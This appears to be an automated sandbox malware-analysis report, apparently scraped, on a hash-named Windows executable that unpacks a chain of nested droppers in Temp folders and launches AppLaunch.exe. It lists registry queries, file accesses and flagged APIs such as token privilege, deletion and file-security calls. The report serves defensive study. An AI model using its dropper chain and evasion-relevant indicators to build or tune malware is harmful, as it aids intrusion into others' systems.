NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")46:Tc3c,"3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RN3XU93.EXE" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RN3xu93.exe" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7JW3KC52.EXE" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7jw3kC52.exe" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\DJ4QK45.EXE" "RN3xu93.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\dj4qK45.exe" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6JU7HU6.EXE" "RN3xu93.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6Ju7HU6.exe" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "dj4qK45.exe" trying to access non-existent file "C:\Windows\SysWOW64\AcLayers.dll" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\EL8VJ91.EXE" "dj4qK45.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\EL8Vj91.exe" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5BF4ZE9.EXE" "dj4qK45.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5bF4ZE9.exe"47:T916,"3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\3B567ED788B8D07EC909035F6147ABD3.EXE.LOCAL" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "3b567ed788b8d07ec909035f6147abd3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RN3XU93.EXE.LOCAL" "RN3xu93.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "RN3xu93.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\DJ4QK45.EXE.LOCAL" "dj4qK45.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "dj4qK45.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "EL8Vj91.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\EL8VJ91.EXE.LOCAL" "EL8Vj91.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "EL8Vj91.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "Wg1zV34.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\WG1ZV34.EXE.LOCAL" "Wg1zV34.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "Wg1zV34.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "kH1Br77.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\KH1BR77.EXE.LOCAL" "kH1Br77.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" "kH1Br77.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL"48:T929,"kH1Br77.exe" called "FindFirstFileA" with parameter %TEMP%\IXP005.TMP\* (UID: 00000000-00007688) "kH1Br77.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00007688) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00006544) "AppLaunch.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006544)49:T5ae,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "6Ju7HU6.exe.1773123244") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "6Ju7HU6.exe.1773123244") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")4a:T832,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")4b:T4e1,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")4c:Td06,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")4d:T5ba,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "3b567ed788b8d07ec909035f6147abd3.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "4wt454Ls.exe.1953644678") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "4wt454Ls.exe.1953644678") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")4e:T434,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP002.TMP\EL8Vj91.exe" (Indicator: "\Device\"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp")4f:T698,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")50:T53e,Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")51:T723,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "3b567ed788b8d07ec909035f6147abd3.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00000148.00000002.70803.00881000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000148.00000002.70803.00881000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")52:T568,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")53:Tb7e,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")54:T1329,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 3b567ed788b8d07ec909035f6147abd3.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: 3b567ed788b8d07ec909035f6147abd3.exe] Observed import api 